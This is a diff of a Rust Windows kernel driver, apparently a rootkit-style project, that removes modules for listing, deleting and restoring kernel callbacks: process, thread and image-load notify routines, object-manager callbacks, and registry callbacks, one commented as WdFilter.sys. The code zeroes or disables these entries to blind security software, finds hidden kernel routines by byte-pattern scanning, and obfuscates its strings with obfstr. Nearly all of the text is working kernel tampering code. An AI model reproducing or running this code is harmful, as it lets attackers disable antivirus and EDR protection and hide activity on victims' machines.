|
|
||||||
obfstr = "0.4.3"
|
|
||||||
spin = "0.9.8"
|
spin = "0.9.8"
|
||||||
lazy_static = "1.5.0"
|
obfstr = "0.4.3"
|
||||||
bitfield = "0.15.0"
|
kernel-log = "0.1.3"
|
||||||
hashbrown = "0.14.5"
|
hashbrown = "0.14.5"
|
||||||
microseh = { version = "1.0.3", default-features = false}
|
lazy_static = "1.5.0"
|
||||||
|
common = { path = "../crates/common" }
|
||||||
|
shadowx = { path = "../crates/shadowx" }
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
wdk-build = "0.2.0"
|
wdk-build = "0.2.0"
|
||||||
|
|||||||
@@ -1,8 +1,5 @@
|
|||||||
extend = "target/rust-driver-makefile.toml"
|
extend = "target/rust-driver-makefile.toml"
|
||||||
|
|
||||||
[env]
|
|
||||||
CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true
|
|
||||||
|
|
||||||
[config]
|
[config]
|
||||||
load_script = '''
|
load_script = '''
|
||||||
#!@rust
|
#!@rust
|
||||||
|
|||||||
@@ -3,4 +3,4 @@ fn main() -> Result<(), wdk_build::ConfigError> {
|
|||||||
config.driver_config = wdk_build::DriverConfig::WDM();
|
config.driver_config = wdk_build::DriverConfig::WDM();
|
||||||
config.configure_binary_build();
|
config.configure_binary_build();
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
pub mod notify_routine;
|
|
||||||
pub mod object;
|
|
||||||
pub mod registry;
|
|
||||||
@@ -1,166 +0,0 @@
|
|||||||
use {
|
|
||||||
core::mem::size_of,
|
|
||||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
|
||||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
|
||||||
wdk_sys::{
|
|
||||||
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
|
||||||
},
|
|
||||||
crate::{
|
|
||||||
callback::{
|
|
||||||
find_callback::{find_callback_address, CallbackResult},
|
|
||||||
CallbackList, INFO_CALLBACK_RESTAURE
|
|
||||||
},
|
|
||||||
internals::structs::CallbackRestaure, utils::return_module
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Structure representing the Callback.
|
|
||||||
pub struct Callback;
|
|
||||||
|
|
||||||
/// Implement a feature for the callback PsSetCreateProcessNotifyRoutine / PsSetCreateThreadNotifyRoutine / PsSetLoadImageNotifyRoutine.
|
|
||||||
impl CallbackList for Callback {
|
|
||||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
|
||||||
let mut callbacks = INFO_CALLBACK_RESTAURE.lock();
|
|
||||||
let type_ = (*target_callback).callback;
|
|
||||||
let index = (*target_callback).index;
|
|
||||||
|
|
||||||
if let Some(index) = callbacks.iter().position(|c| c.callback == type_ && c.index == index) {
|
|
||||||
let address = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let addr = address.offset((callbacks[index].index * 8) as isize);
|
|
||||||
*(addr as *mut u64) = callbacks[index].address;
|
|
||||||
callbacks.remove(index);
|
|
||||||
} else {
|
|
||||||
log::error!("Callback not found for type {:?} at index {}", type_, index);
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
|
||||||
let address = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let index = (*target_callback).index as isize;
|
|
||||||
let addr = address.offset(index * 8);
|
|
||||||
let callback = CallbackRestaure {
|
|
||||||
index: (*target_callback).index,
|
|
||||||
callback: (*target_callback).callback,
|
|
||||||
address: *(addr as *mut u64),
|
|
||||||
..Default::default()
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
|
|
||||||
callback_info.push(callback);
|
|
||||||
|
|
||||||
*(addr as *mut u64) = 0;
|
|
||||||
|
|
||||||
log::info!("Callback removed at index {}", index);
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
let address = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
|
||||||
_ => return Err(STATUS_UNSUCCESSFUL),
|
|
||||||
};
|
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
for i in 0..64 {
|
|
||||||
let addr = address.cast::<u8>().offset(i * 8);
|
|
||||||
let callback = *(addr as *const u64);
|
|
||||||
|
|
||||||
if callback == 0 {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Iterate over the loaded modules
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
|
|
||||||
|
|
||||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Module name
|
|
||||||
let name = &mut (*callback_info.offset(i)).name[..buffer.len()];
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
|
|
||||||
// Module address
|
|
||||||
(*callback_info.offset(i)).address = raw_pointer as usize;
|
|
||||||
|
|
||||||
// Module index
|
|
||||||
(*callback_info.offset(i)).index = i as u8;
|
|
||||||
|
|
||||||
*information += size_of::<CallbackInfoOutput>();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Go to the next module in the list
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
let callbacks = INFO_CALLBACK_RESTAURE.lock();
|
|
||||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
for (i, callback) in callbacks.iter().enumerate() {
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
|
|
||||||
|
|
||||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Module name
|
|
||||||
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
|
|
||||||
// Module address
|
|
||||||
(*callback_info.offset(i as isize)).address = raw_pointer as usize;
|
|
||||||
|
|
||||||
// Module index
|
|
||||||
(*callback_info.offset(i as isize)).index = callback.index as u8;
|
|
||||||
|
|
||||||
*information += size_of::<CallbackInfoOutput>();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Go to the next module in the list
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,227 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::vec::Vec,
|
|
||||||
core::mem::size_of,
|
|
||||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
|
||||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
|
||||||
wdk_sys::{
|
|
||||||
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
|
||||||
},
|
|
||||||
crate::{
|
|
||||||
callback::{
|
|
||||||
find_callback::{find_callback_address, CallbackResult},
|
|
||||||
CallbackList, INFO_CALLBACK_RESTAURE_OB
|
|
||||||
},
|
|
||||||
internals::structs::{CallbackRestaureOb, OBCALLBACK_ENTRY},
|
|
||||||
utils::{return_module, with_push_lock_exclusive}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Structure representing the Callback Object.
|
|
||||||
pub struct CallbackOb;
|
|
||||||
|
|
||||||
/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
|
|
||||||
impl CallbackList for CallbackOb {
|
|
||||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
|
||||||
let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
|
|
||||||
let type_ = (*target_callback).callback;
|
|
||||||
let index = (*target_callback).index;
|
|
||||||
|
|
||||||
if let Some(index) = callbacks.iter().position(|c| c.callback == type_ && c.index == index) {
|
|
||||||
let type_ = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let lock = &(*type_).type_lock as *const _ as *mut u64;
|
|
||||||
with_push_lock_exclusive(lock, || {
|
|
||||||
let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
|
|
||||||
while next != current {
|
|
||||||
if !(*next).enabled && !next.is_null() && (*next).entry as u64 == callbacks[index].entry {
|
|
||||||
(*next).enabled = true;
|
|
||||||
callbacks.remove(index);
|
|
||||||
return STATUS_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
})
|
|
||||||
} else {
|
|
||||||
log::error!("Callback not found for type {:?} at index {}", type_, index);
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
|
||||||
let type_ = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let lock = &(*type_).type_lock as *const _ as *mut u64;
|
|
||||||
with_push_lock_exclusive(lock, || {
|
|
||||||
let mut i = 0;
|
|
||||||
let index = (*target_callback).index;
|
|
||||||
let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
|
|
||||||
|
|
||||||
while next != current {
|
|
||||||
if i == index {
|
|
||||||
if (*next).enabled {
|
|
||||||
let mut callback_restaure = CallbackRestaureOb {
|
|
||||||
index,
|
|
||||||
callback: (*target_callback).callback,
|
|
||||||
entry: (*next).entry as u64,
|
|
||||||
pre_operation: 0,
|
|
||||||
post_operation: 0
|
|
||||||
};
|
|
||||||
|
|
||||||
if let Some(pre_op) = (*next).pre_operation {
|
|
||||||
callback_restaure.pre_operation = pre_op as _;
|
|
||||||
}
|
|
||||||
|
|
||||||
if let Some(post_op) = (*next).post_operation {
|
|
||||||
callback_restaure.post_operation = post_op as _;
|
|
||||||
}
|
|
||||||
|
|
||||||
(*next).enabled = false;
|
|
||||||
|
|
||||||
callback_info.push(callback_restaure);
|
|
||||||
log::info!("Callback removed at index {}", index);
|
|
||||||
}
|
|
||||||
|
|
||||||
return STATUS_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
i += 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
let type_ = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
|
||||||
_ => return Err(STATUS_UNSUCCESSFUL),
|
|
||||||
};
|
|
||||||
|
|
||||||
let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut list_objects = Vec::new();
|
|
||||||
|
|
||||||
while next != current {
|
|
||||||
let mut addrs = (0, 0);
|
|
||||||
if let Some(pre_op) = (*next).pre_operation {
|
|
||||||
addrs.0 = pre_op as u64;
|
|
||||||
}
|
|
||||||
|
|
||||||
if let Some(post_op) = (*next).post_operation {
|
|
||||||
addrs.1 = post_op as u64;
|
|
||||||
}
|
|
||||||
|
|
||||||
list_objects.push(((*next).enabled, addrs));
|
|
||||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
let mut current_index = 0;
|
|
||||||
|
|
||||||
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
|
|
||||||
if !enabled {
|
|
||||||
current_index += 1;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
let pre = addrs.0;
|
|
||||||
let post = addrs.1;
|
|
||||||
|
|
||||||
if pre > start_address as u64 && pre < end_address ||
|
|
||||||
post > start_address as u64 && post < end_address
|
|
||||||
{
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Module name
|
|
||||||
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
|
|
||||||
// Module address
|
|
||||||
(*callback_info.offset(i as isize)).pre_operation = pre as usize;
|
|
||||||
(*callback_info.offset(i as isize)).post_operation = post as usize;
|
|
||||||
|
|
||||||
// Module index
|
|
||||||
(*callback_info.offset(i as isize)).index = current_index as u8;
|
|
||||||
|
|
||||||
*information += size_of::<CallbackInfoOutput>();
|
|
||||||
current_index += 1;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Go to the next module in the list
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
let callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
|
|
||||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
for (i, callback) in callbacks.iter().enumerate() {
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
|
|
||||||
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|
|
||||||
|| callback.post_operation > start_address as u64 && callback.post_operation < end_address
|
|
||||||
{
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Module name
|
|
||||||
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
|
|
||||||
// Module address
|
|
||||||
(*callback_info.offset(i as isize)).pre_operation = callback.pre_operation as usize;
|
|
||||||
(*callback_info.offset(i as isize)).post_operation = callback.post_operation as usize;
|
|
||||||
|
|
||||||
// Module index
|
|
||||||
(*callback_info.offset(i as isize)).index = callback.index as u8;
|
|
||||||
|
|
||||||
*information += size_of::<CallbackInfoOutput>();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
// Go to the next module in the list
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,204 +0,0 @@
|
|||||||
use {
|
|
||||||
core::mem::size_of,
|
|
||||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
|
||||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
|
||||||
wdk_sys::{
|
|
||||||
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
|
||||||
},
|
|
||||||
crate::{
|
|
||||||
callback::{
|
|
||||||
find_callback::{find_callback_address, CallbackResult},
|
|
||||||
CallbackList, INFO_CALLBACK_RESTAURE_REGISTRY
|
|
||||||
},
|
|
||||||
internals::structs::{
|
|
||||||
CallbackRestaure, CM_CALLBACK
|
|
||||||
},
|
|
||||||
utils::{return_module, with_push_lock_exclusive}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Structure representing the Callback Registry.
|
|
||||||
pub struct CallbackRegistry;
|
|
||||||
|
|
||||||
/// Implement a feature for the callback CmRegisterCallbackEx.
|
|
||||||
impl CallbackList for CallbackRegistry {
|
|
||||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
|
||||||
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
|
||||||
let callback_type = (*target_callback).callback;
|
|
||||||
let index = (*target_callback).index;
|
|
||||||
|
|
||||||
if let Some(x) = callbacks_info.iter().position(|c| c.callback == callback_type && c.index == index) {
|
|
||||||
let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::Registry(addr)) => addr,
|
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
with_push_lock_exclusive(lock as *mut u64, || {
|
|
||||||
let count = *(count as *mut u32) + 1;
|
|
||||||
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
|
|
||||||
|
|
||||||
for i in 0..count {
|
|
||||||
if pcm_callback.is_null() {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if i == index as u32 {
|
|
||||||
(*pcm_callback).function = callbacks_info[x].address;
|
|
||||||
callbacks_info.remove(x);
|
|
||||||
return STATUS_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
})
|
|
||||||
} else {
|
|
||||||
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
|
||||||
let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::Registry(addr)) => addr,
|
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
with_push_lock_exclusive(lock as *mut u64, || {
|
|
||||||
let index = (*target_callback).index as isize;
|
|
||||||
let count = *(count as *mut u32) + 1;
|
|
||||||
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
|
|
||||||
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
|
||||||
let mut prev_addr = 0;
|
|
||||||
|
|
||||||
for i in 0..count {
|
|
||||||
if i == 1 {
|
|
||||||
prev_addr = (*pcm_callback).function as u64; // WdFilter.sys
|
|
||||||
}
|
|
||||||
|
|
||||||
if pcm_callback.is_null() {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if i == index as u32 {
|
|
||||||
let addr = (*pcm_callback).function as u64;
|
|
||||||
let callback_restaure = CallbackRestaure {
|
|
||||||
index: (*target_callback).index,
|
|
||||||
callback: (*target_callback).callback,
|
|
||||||
address: addr,
|
|
||||||
..Default::default()
|
|
||||||
};
|
|
||||||
|
|
||||||
(*pcm_callback).function = prev_addr;
|
|
||||||
callbacks_info.push(callback_restaure);
|
|
||||||
|
|
||||||
log::info!("Callback removed at index {}", index);
|
|
||||||
return STATUS_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callbacks_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) {
|
|
||||||
Some(CallbackResult::Registry(addr)) => addr,
|
|
||||||
_ => return Err(STATUS_UNSUCCESSFUL),
|
|
||||||
};
|
|
||||||
|
|
||||||
let count = *(count as *mut u32) + 1;
|
|
||||||
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
|
|
||||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
with_push_lock_exclusive(lock as *mut u64, || {
|
|
||||||
for i in 0..count as isize {
|
|
||||||
if pcm_callback.is_null() {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
// Iterate over the loaded modules
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
let addr = (*pcm_callback).function as u64;
|
|
||||||
|
|
||||||
if addr > start_address as u64 && addr < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Module name
|
|
||||||
let name = &mut (*callbacks_info.offset(i)).name[..buffer.len()];
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
|
|
||||||
// Module address
|
|
||||||
(*callbacks_info.offset(i)).address = addr as usize;
|
|
||||||
|
|
||||||
// Module index
|
|
||||||
(*callbacks_info.offset(i)).index = i as u8;
|
|
||||||
|
|
||||||
*information += size_of::<CallbackInfoOutput>();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Go to the next module in the list
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
|
|
||||||
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callbacks_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
let callbacks = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
|
||||||
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
for (i, callback) in callbacks.iter().enumerate() {
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
|
|
||||||
if callback.address > start_address as u64 && callback.address < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Module name
|
|
||||||
let name = &mut (*callbacks_info.offset(i as isize)).name[..buffer.len()];
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
|
|
||||||
// Module address
|
|
||||||
(*callbacks_info.offset(i as isize)).address = callback.address as usize;
|
|
||||||
|
|
||||||
// Module index
|
|
||||||
(*callbacks_info.offset(i as isize)).index = callback.index as u8;
|
|
||||||
|
|
||||||
*information += size_of::<CallbackInfoOutput>();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
// Go to the next module in the list
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,137 +0,0 @@
|
|||||||
use obfstr::obfstr;
|
|
||||||
use shared::enums::Callbacks;
|
|
||||||
use crate::{
|
|
||||||
internals::structs::FULL_OBJECT_TYPE,
|
|
||||||
utils::{patterns::scan_for_pattern, uni::str_to_unicode}
|
|
||||||
};
|
|
||||||
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
|
|
||||||
|
|
||||||
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn find_ps_create_process() -> Option<*mut u8> {
|
|
||||||
let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
|
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
|
||||||
|
|
||||||
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
|
|
||||||
let instructions = [0xE8];
|
|
||||||
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14, i32::from_le_bytes)?;
|
|
||||||
|
|
||||||
let instructions = [0x4C, 0x8D, 0x2D];
|
|
||||||
scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98, i32::from_le_bytes)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
|
||||||
///
|
|
||||||
unsafe fn find_ps_create_thread() -> Option<*mut u8> {
|
|
||||||
let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
|
|
||||||
